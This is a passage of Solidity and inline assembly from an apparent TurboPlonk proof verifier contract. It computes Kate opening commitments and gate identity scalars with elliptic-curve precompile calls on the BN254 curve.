success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40))
// logic_multiplier.[QLOGIC]
mstore(add(mPtr, 0x40), mload(QLOGIC))
mstore(add(mPtr, 0x60), mload(add(QLOGIC, 0x20)))
mstore(add(mPtr, 0x80), logic_multiplier)
success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40))
// add arithmetic into accumulator
mstore(add(mPtr, 0x40), mload(arithmetic_term))
mstore(add(mPtr, 0x60), mload(add(arithmetic_term, 0x20)))
success := and(success, staticcall(gas(), 6, mPtr, 0x80, accumulator, 0x40))
}
require(success, "compute_linearised_opening_terms group operations fail");
return accumulator;
}
function compute_batch_opening_commitment(
Types.ChallengeTranscript memory challenges,
Types.VerificationKey memory vk,
Types.G1Point memory partial_opening_commitment,
Types.Proof memory proof
) internal view returns (Types.G1Point memory) {
// Computes the Kate opening proof group operations, for commitments that are not linearised
bool success;
// Reserve 0xa0 bytes of memory to perform group operations
uint256 accumulator_ptr;
uint256 p = Bn254Crypto.r_mod;
assembly {
accumulator_ptr := mload(0x40)
mstore(0x40, add(accumulator_ptr, 0xa0))
}
// first term
Types.G1Point memory work_point = proof.T1;
work_point.validateG1Point();
assembly {
mstore(accumulator_ptr, mload(work_point))
mstore(add(accumulator_ptr, 0x20), mload(add(work_point, 0x20)))
}
// second term
uint256 scalar_multiplier = vk.zeta_pow_n; // zeta_pow_n is computed in compute_lagrange_and_vanishing_fractions
uint256 zeta_n = scalar_multiplier;
work_point = proof.T2;
work_point.validateG1Point();
assembly {
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute zeta_n.[T2]
success := staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// third term
work_point = proof.T3;
work_point.validateG1Point();
assembly {
scalar_multiplier := mulmod(scalar_multiplier, scalar_multiplier, p)
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute zeta_n^2.[T3]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// fourth term
work_point = proof.T4;
work_point.validateG1Point();
assembly {
scalar_multiplier := mulmod(scalar_multiplier, zeta_n, p)
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute zeta_n^3.[T4]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// fifth term
work_point = partial_opening_commitment;
work_point.validateG1Point();
assembly {
// add partial opening commitment into accumulator
mstore(add(accumulator_ptr, 0x40), mload(partial_opening_commitment))
mstore(add(accumulator_ptr, 0x60), mload(add(partial_opening_commitment, 0x20)))
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
uint256 u_plus_one = challenges.u;
uint256 v_challenge = challenges.v0;
// W1
work_point = proof.W1;
work_point.validateG1Point();
assembly {
u_plus_one := addmod(u_plus_one, 0x01, p)
scalar_multiplier := mulmod(v_challenge, u_plus_one, p)
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v0(u + 1).[W1]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// W2
v_challenge = challenges.v1;
work_point = proof.W2;
work_point.validateG1Point();
assembly {
scalar_multiplier := mulmod(v_challenge, u_plus_one, p)
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v1(u + 1).[W2]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// W3
v_challenge = challenges.v2;
work_point = proof.W3;
work_point.validateG1Point();
assembly {
scalar_multiplier := mulmod(v_challenge, u_plus_one, p)
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v2(u + 1).[W3]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// W4
v_challenge = challenges.v3;
work_point = proof.W4;
work_point.validateG1Point();
assembly {
scalar_multiplier := mulmod(v_challenge, u_plus_one, p)
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v3(u + 1).[W4]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// SIGMA1
scalar_multiplier = challenges.v4;
work_point = vk.SIGMA1;
work_point.validateG1Point();
assembly {
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v4.[SIGMA1]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// SIGMA2
scalar_multiplier = challenges.v5;
work_point = vk.SIGMA2;
work_point.validateG1Point();
assembly {
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v5.[SIGMA2]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// SIGMA3
scalar_multiplier = challenges.v6;
work_point = vk.SIGMA3;
work_point.validateG1Point();
assembly {
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v6.[SIGMA3]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
// QARITH
scalar_multiplier = challenges.v7;
work_point = vk.QARITH;
work_point.validateG1Point();
assembly {
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v7.[QARITH]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
Types.G1Point memory output;
// QECC
scalar_multiplier = challenges.v8;
work_point = vk.QECC;
work_point.validateG1Point();
assembly {
mstore(add(accumulator_ptr, 0x40), mload(work_point))
mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20)))
mstore(add(accumulator_ptr, 0x80), scalar_multiplier)
// compute v8.[QECC]
success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40))
// add scalar mul output into output point
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, output, 0x40))
}
require(success, "compute_batch_opening_commitment group operations error");
return output;
}
function compute_batch_evaluation_scalar_multiplier(Types.Proof memory proof, Types.ChallengeTranscript memory challenges)
internal
pure
returns (uint256)
{
uint256 p = Bn254Crypto.r_mod;
uint256 opening_scalar;
uint256 lhs;
uint256 rhs;
lhs = challenges.v0;
rhs = proof.w1;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v1;
rhs = proof.w2;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v2;
rhs = proof.w3;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v3;
rhs = proof.w4;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v4;
rhs = proof.sigma1;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v5;
rhs = proof.sigma2;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v6;
rhs = proof.sigma3;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v7;
rhs = proof.q_arith;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v8;
rhs = proof.q_ecc;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v9;
rhs = proof.q_c;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v10;
rhs = proof.linearization_polynomial;
assembly {
opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = proof.quotient_polynomial_eval;
assembly {
opening_scalar := addmod(opening_scalar, lhs, p)
}
lhs = challenges.v0;
rhs = proof.w1_omega;
uint256 shifted_opening_scalar;
assembly {
shifted_opening_scalar := mulmod(lhs, rhs, p)
}
lhs = challenges.v1;
rhs = proof.w2_omega;
assembly {
shifted_opening_scalar := addmod(shifted_opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v2;
rhs = proof.w3_omega;
assembly {
shifted_opening_scalar := addmod(shifted_opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = challenges.v3;
rhs = proof.w4_omega;
assembly {
shifted_opening_scalar := addmod(shifted_opening_scalar, mulmod(lhs, rhs, p), p)
}
lhs = proof.grand_product_at_z_omega;
assembly {
shifted_opening_scalar := addmod(shifted_opening_scalar, lhs, p)
}
lhs = challenges.u;
assembly {
shifted_opening_scalar := mulmod(shifted_opening_scalar, lhs, p)
opening_scalar := addmod(opening_scalar, shifted_opening_scalar, p)
}
return opening_scalar;
}
// Compute kate opening scalar for arithmetic gate selectors and pedersen gate selectors
// (both the arithmetic gate and pedersen hash gate reuse the same selectors)
function compute_arithmetic_selector_opening_group_element(
Types.Proof memory proof,
Types.VerificationKey memory vk,
Types.ChallengeTranscript memory challenges
) internal view returns (Types.G1Point memory) {
uint256 q_arith = proof.q_arith;
uint256 q_ecc = proof.q_ecc;
uint256 linear_challenge = challenges.v10;
uint256 alpha_base = challenges.alpha_base;
uint256 scaling_alpha = challenges.alpha_base;
uint256 alpha = challenges.alpha;
uint256 p = Bn254Crypto.r_mod;
uint256 scalar_multiplier;
uint256 accumulator_ptr; // reserve 0xa0 bytes of memory to multiply and add points
assembly {
accumulator_ptr := mload(0x40)
mstore(0x40, add(accumulator_ptr, 0xa0))
}
{
uint256 delta;
// Q1 Selector
{
{
uint256 w4 = proof.w4;
uint256 w4_omega = proof.w4_omega;
assembly {
delta := addmod(w4_omega, sub(p, mulmod(w4, 0x04, p)), p)
}
}
uint256 w1 = proof.w1;
assembly {
scalar_multiplier := mulmod(w1, linear_challenge, p)
scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
scaling_alpha := mulmod(scaling_alpha, alpha, p)
scaling_alpha := mulmod(scaling_alpha, alpha, p)
scaling_alpha := mulmod(scaling_alpha, alpha, p)
let t0 := mulmod(delta, delta, p)
t0 := mulmod(t0, q_ecc, p)
t0 := mulmod(t0, scaling_alpha, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p)
}
Types.G1Point memory Q1 = vk.Q1;
Q1.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(Q1))
mstore(add(mPtr, 0x20), mload(add(Q1, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
success := staticcall(gas(), 7, mPtr, 0x60, accumulator_ptr, 0x40)
}
require(success, "G1 point multiplication failed!");
}
// Q2 Selector
{
uint256 w2 = proof.w2;
assembly {
scalar_multiplier := mulmod(w2, linear_challenge, p)
scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
let t0 := mulmod(scaling_alpha, q_ecc, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p)
}
Types.G1Point memory Q2 = vk.Q2;
Q2.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(Q2))
mstore(add(mPtr, 0x20), mload(add(Q2, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
// write scalar mul output 0x40 bytes ahead of accumulator
success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
require(success, "G1 point multiplication failed!");
}
// Q3 Selector
{
{
uint256 w3 = proof.w3;
assembly {
scalar_multiplier := mulmod(w3, linear_challenge, p)
scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
}
}
{
uint256 t1;
{
uint256 w3_omega = proof.w3_omega;
assembly {
t1 := mulmod(delta, w3_omega, p)
}
}
{
uint256 w2 = proof.w2;
assembly {
scaling_alpha := mulmod(scaling_alpha, alpha, p)
t1 := mulmod(t1, w2, p)
t1 := mulmod(t1, scaling_alpha, p)
t1 := addmod(t1, t1, p)
t1 := mulmod(t1, q_ecc, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t1, linear_challenge, p), p)
}
}
}
uint256 t0 = proof.w1_omega;
{
uint256 w1 = proof.w1;
assembly {
scaling_alpha := mulmod(scaling_alpha, alpha, p)
t0 := addmod(t0, sub(p, w1), p)
t0 := mulmod(t0, delta, p)
}
}
uint256 w3_omega = proof.w3_omega;
assembly {
t0 := mulmod(t0, w3_omega, p)
t0 := mulmod(t0, scaling_alpha, p)
t0 := mulmod(t0, q_ecc, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p)
}
}
Types.G1Point memory Q3 = vk.Q3;
Q3.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(Q3))
mstore(add(mPtr, 0x20), mload(add(Q3, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
// write scalar mul output 0x40 bytes ahead of accumulator
success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
require(success, "G1 point multiplication failed!");
}
// Q4 Selector
{
uint256 w3 = proof.w3;
uint256 w4 = proof.w4;
uint256 q_c = proof.q_c;
assembly {
scalar_multiplier := mulmod(w4, linear_challenge, p)
scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
scaling_alpha := mulmod(scaling_alpha, mulmod(alpha, alpha, p), p)
let t0 := mulmod(w3, q_ecc, p)
t0 := mulmod(t0, q_c, p)
t0 := mulmod(t0, scaling_alpha, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p)
}
Types.G1Point memory Q4 = vk.Q4;
Q4.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(Q4))
mstore(add(mPtr, 0x20), mload(add(Q4, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
// write scalar mul output 0x40 bytes ahead of accumulator
success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
require(success, "G1 point multiplication failed!");
}
// Q5 Selector
{
uint256 w4 = proof.w4;
uint256 q_c = proof.q_c;
assembly {
let neg_w4 := sub(p, w4)
scalar_multiplier := mulmod(w4, w4, p)
scalar_multiplier := addmod(scalar_multiplier, neg_w4, p)
scalar_multiplier := mulmod(scalar_multiplier, addmod(w4, sub(p, 2), p), p)
scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, alpha, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
scalar_multiplier := mulmod(scalar_multiplier, linear_challenge, p)
let t0 := addmod(0x01, neg_w4, p)
t0 := mulmod(t0, q_ecc, p)
t0 := mulmod(t0, q_c, p)
t0 := mulmod(t0, scaling_alpha, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p)
}
Types.G1Point memory Q5 = vk.Q5;
Q5.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(Q5))
mstore(add(mPtr, 0x20), mload(add(Q5, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
// write scalar mul output 0x40 bytes ahead of accumulator
success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
require(success, "G1 point multiplication failed!");
}
// QM Selector
{
{
uint256 w1 = proof.w1;
uint256 w2 = proof.w2;
assembly {
scalar_multiplier := mulmod(w1, w2, p)
scalar_multiplier := mulmod(scalar_multiplier, linear_challenge, p)
scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
}
}
uint256 w3 = proof.w3;
uint256 q_c = proof.q_c;
assembly {
scaling_alpha := mulmod(scaling_alpha, alpha, p)
let t0 := mulmod(w3, q_ecc, p)
t0 := mulmod(t0, q_c, p)
t0 := mulmod(t0, scaling_alpha, p)
scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p)
}
Types.G1Point memory QM = vk.QM;
QM.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(QM))
mstore(add(mPtr, 0x20), mload(add(QM, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
// write scalar mul output 0x40 bytes ahead of accumulator
success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into accumulator
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40))
}
require(success, "G1 point multiplication failed!");
}
Types.G1Point memory output;
// QC Selector
{
uint256 q_c_challenge = challenges.v9;
assembly {
scalar_multiplier := mulmod(linear_challenge, alpha_base, p)
scalar_multiplier := mulmod(scalar_multiplier, q_arith, p)
// TurboPlonk requires an explicit evaluation of q_c
scalar_multiplier := addmod(scalar_multiplier, q_c_challenge, p)
alpha_base := mulmod(scaling_alpha, alpha, p)
}
Types.G1Point memory QC = vk.QC;
QC.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(QC))
mstore(add(mPtr, 0x20), mload(add(QC, 0x20)))
mstore(add(mPtr, 0x40), scalar_multiplier)
// write scalar mul output 0x40 bytes ahead of accumulator
success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40)
// add scalar mul output into output point
success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, output, 0x40))
}
require(success, "G1 point multiplication failed!");
}
challenges.alpha_base = alpha_base;
return output;
}
// Compute kate opening scalar for logic gate opening scalars
// This method evalautes the polynomial identity used to evaluate either
// a 2-bit AND or XOR operation in a single constraint
function compute_logic_gate_opening_scalar(
Types.Proof memory proof,
Types.ChallengeTranscript memory challenges
) internal pure returns (uint256) {
uint256 identity = 0;
uint256 p = Bn254Crypto.r_mod;
{
uint256 delta_sum = 0;
uint256 delta_squared_sum = 0;
uint256 t0 = 0;
uint256 t1 = 0;
uint256 t2 = 0;
uint256 t3 = 0;
{
uint256 wire1_omega = proof.w1_omega;
uint256 wire1 = proof.w1;
assembly {
t0 := addmod(wire1_omega, sub(p, mulmod(wire1, 0x04, p)), p)
}
}
{
uint256 wire2_omega = proof.w2_omega;
uint256 wire2 = proof.w2;
assembly {
t1 := addmod(wire2_omega, sub(p, mulmod(wire2, 0x04, p)), p)
delta_sum := addmod(t0, t1, p)
t2 := mulmod(t0, t0, p)
t3 := mulmod(t1, t1, p)
delta_squared_sum := addmod(t2, t3, p)
identity := mulmod(delta_sum, delta_sum, p)
identity := addmod(identity, sub(p, delta_squared_sum), p)
}
}
uint256 t4 = 0;
uint256 alpha = challenges.alpha;
{
uint256 wire3 = proof.w3;
assembly{
t4 := mulmod(wire3, 0x02, p)
identity := addmod(identity, sub(p, t4), p)
identity := mulmod(identity, alpha, p)
}
}
assembly {
t4 := addmod(t4, t4, p)
t2 := addmod(t2, sub(p, t0), p)
t0 := mulmod(t0, 0x04, p)
t0 := addmod(t2, sub(p, t0), p)
t0 := addmod(t0, 0x06, p)
t0 := mulmod(t0, t2, p)
identity := addmod(identity, t0, p)
identity := mulmod(identity, alpha, p)
t3 := addmod(t3, sub(p, t1), p)
t1 := mulmod(t1, 0x04, p)
t1 := addmod(t3, sub(p, t1), p)
t1 := addmod(t1, 0x06, p)
t1 := mulmod(t1, t3, p)
identity := addmod(identity, t1, p)
identity := mulmod(identity, alpha, p)
t0 := mulmod(delta_sum, 0x03, p)
t1 := mulmod(t0, 0x03, p)
delta_sum := addmod(t1, t1, p)
t2 := mulmod(delta_sum, 0x04, p)
t1 := addmod(t1, t2, p)
t2 := mulmod(delta_squared_sum, 0x03, p)
delta_squared_sum := mulmod(t2, 0x06, p)
delta_sum := addmod(t4, sub(p, delta_sum), p)
delta_sum := addmod(delta_sum, 81, p)
t1 := addmod(delta_squared_sum, sub(p, t1), p)
t1 := addmod(t1, 83, p)
}
{
uint256 wire3 = proof.w3;
assembly {
delta_sum := mulmod(delta_sum, wire3, p)
delta_sum := addmod(delta_sum, t1, p)
delta_sum := mulmod(delta_sum, wire3, p)
}
}
{
uint256 wire4 = proof.w4;
assembly {
t2 := mulmod(wire4, 0x04, p)
}
}
{
uint256 wire4_omega = proof.w4_omega;
assembly {
t2 := addmod(wire4_omega, sub(p, t2), p)
}
}
{
uint256 q_c = proof.q_c;
assembly {
t3 := addmod(t2, t2, p)
t2 := addmod(t2, t3, p)
t3 := addmod(t2, t2, p)
t3 := addmod(t3, t2, p)
t3 := addmod(t3, sub(p, t0), p)
t3 := mulmod(t3, q_c, p)
t2 := addmod(t2, t0, p)
delta_sum := addmod(delta_sum, delta_sum, p)
t2 := addmod(t2, sub(p, delta_sum), p)
t2 := addmod(t2, t3, p)
identity := addmod(identity, t2, p)
}
}
uint256 linear_nu = challenges.v10;
uint256 alpha_base = challenges.alpha_base;
assembly {
identity := mulmod(identity, alpha_base, p)
identity := mulmod(identity, linear_nu, p)
}
}
// update alpha
uint256 alpha_base = challenges.alpha_base;
uint256 alpha = challenges.alpha;
assembly {
alpha := mulmod(alpha, alpha, p)
alpha := mulmod(alpha, alpha, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
challenges.alpha_base = alpha_base;
return identity;
}
// Compute kate opening scalar for arithmetic gate selectors
function compute_range_gate_opening_scalar(
Types.Proof memory proof,
Types.ChallengeTranscript memory challenges
) internal pure returns (uint256) {
uint256 wire1 = proof.w1;
uint256 wire2 = proof.w2;
uint256 wire3 = proof.w3;
uint256 wire4 = proof.w4;
uint256 wire4_omega = proof.w4_omega;
uint256 alpha = challenges.alpha;
uint256 alpha_base = challenges.alpha_base;
uint256 range_acc;
uint256 p = Bn254Crypto.r_mod;
uint256 linear_challenge = challenges.v10;
assembly {
let delta_1 := addmod(wire3, sub(p, mulmod(wire4, 0x04, p)), p)
let delta_2 := addmod(wire2, sub(p, mulmod(wire3, 0x04, p)), p)
let delta_3 := addmod(wire1, sub(p, mulmod(wire2, 0x04, p)), p)
let delta_4 := addmod(wire4_omega, sub(p, mulmod(wire1, 0x04, p)), p)
let t0 := mulmod(delta_1, delta_1, p)
t0 := addmod(t0, sub(p, delta_1), p)
let t1 := addmod(delta_1, sub(p, 2), p)
t0 := mulmod(t0, t1, p)
t1 := addmod(delta_1, sub(p, 3), p)
t0 := mulmod(t0, t1, p)
t0 := mulmod(t0, alpha_base, p)
range_acc := t0
alpha_base := mulmod(alpha_base, alpha, p)
t0 := mulmod(delta_2, delta_2, p)
t0 := addmod(t0, sub(p, delta_2), p)
t1 := addmod(delta_2, sub(p, 2), p)
t0 := mulmod(t0, t1, p)
t1 := addmod(delta_2, sub(p, 3), p)
t0 := mulmod(t0, t1, p)
t0 := mulmod(t0, alpha_base, p)
range_acc := addmod(range_acc, t0, p)
alpha_base := mulmod(alpha_base, alpha, p)
t0 := mulmod(delta_3, delta_3, p)
t0 := addmod(t0, sub(p, delta_3), p)
t1 := addmod(delta_3, sub(p, 2), p)
t0 := mulmod(t0, t1, p)
t1 := addmod(delta_3, sub(p, 3), p)
t0 := mulmod(t0, t1, p)
t0 := mulmod(t0, alpha_base, p)
range_acc := addmod(range_acc, t0, p)
alpha_base := mulmod(alpha_base, alpha, p)
t0 := mulmod(delta_4, delta_4, p)
t0 := addmod(t0, sub(p, delta_4), p)
t1 := addmod(delta_4, sub(p, 2), p)
t0 := mulmod(t0, t1, p)
t1 := addmod(delta_4, sub(p, 3), p)
t0 := mulmod(t0, t1, p)
t0 := mulmod(t0, alpha_base, p)
range_acc := addmod(range_acc, t0, p)
alpha_base := mulmod(alpha_base, alpha, p)
range_acc := mulmod(range_acc, linear_challenge, p)
}
challenges.alpha_base = alpha_base;
return range_acc;
}
// Compute grand product opening scalar and perform kate verification scalar multiplication
function compute_grand_product_opening_group_element(
Types.Proof memory proof,
Types.VerificationKey memory vk,
Types.ChallengeTranscript memory challenges,
uint256 L1_fr
) internal view returns (Types.G1Point memory) {
uint256 beta = challenges.beta;
uint256 zeta = challenges.zeta;
uint256 gamma = challenges.gamma;
uint256 p = Bn254Crypto.r_mod;
uint256 partial_grand_product;
uint256 sigma_multiplier;
{
uint256 w1 = proof.w1;
uint256 sigma1 = proof.sigma1;
assembly {
let witness_term := addmod(w1, gamma, p)
partial_grand_product := addmod(mulmod(beta, zeta, p), witness_term, p)
sigma_multiplier := addmod(mulmod(sigma1, beta, p), witness_term, p)
}
}
{
uint256 w2 = proof.w2;
uint256 sigma2 = proof.sigma2;
assembly {
let witness_term := addmod(w2, gamma, p)
partial_grand_product := mulmod(partial_grand_product, addmod(mulmod(mulmod(zeta, 0x05, p), beta, p), witness_term, p), p)
sigma_multiplier := mulmod(sigma_multiplier, addmod(mulmod(sigma2, beta, p), witness_term, p), p)
}
}
{
uint256 w3 = proof.w3;
uint256 sigma3 = proof.sigma3;
assembly {
let witness_term := addmod(w3, gamma, p)
partial_grand_product := mulmod(partial_grand_product, addmod(mulmod(mulmod(zeta, 0x06, p), beta, p), witness_term, p), p)
sigma_multiplier := mulmod(sigma_multiplier, addmod(mulmod(sigma3, beta, p), witness_term, p), p)
}
}
{
uint256 w4 = proof.w4;
assembly {
partial_grand_product := mulmod(partial_grand_product, addmod(addmod(mulmod(mulmod(zeta, 0x07, p), beta, p), gamma, p), w4, p), p)
}
}
{
uint256 linear_challenge = challenges.v10;
uint256 alpha_base = challenges.alpha_base;
uint256 alpha = challenges.alpha;
uint256 separator_challenge = challenges.u;
uint256 grand_product_at_z_omega = proof.grand_product_at_z_omega;
uint256 l_start = L1_fr;
assembly {
partial_grand_product := mulmod(partial_grand_product, alpha_base, p)
sigma_multiplier := mulmod(mulmod(sub(p, mulmod(mulmod(sigma_multiplier, grand_product_at_z_omega, p), alpha_base, p)), beta, p), linear_challenge, p)
alpha_base := mulmod(mulmod(alpha_base, alpha, p), alpha, p)
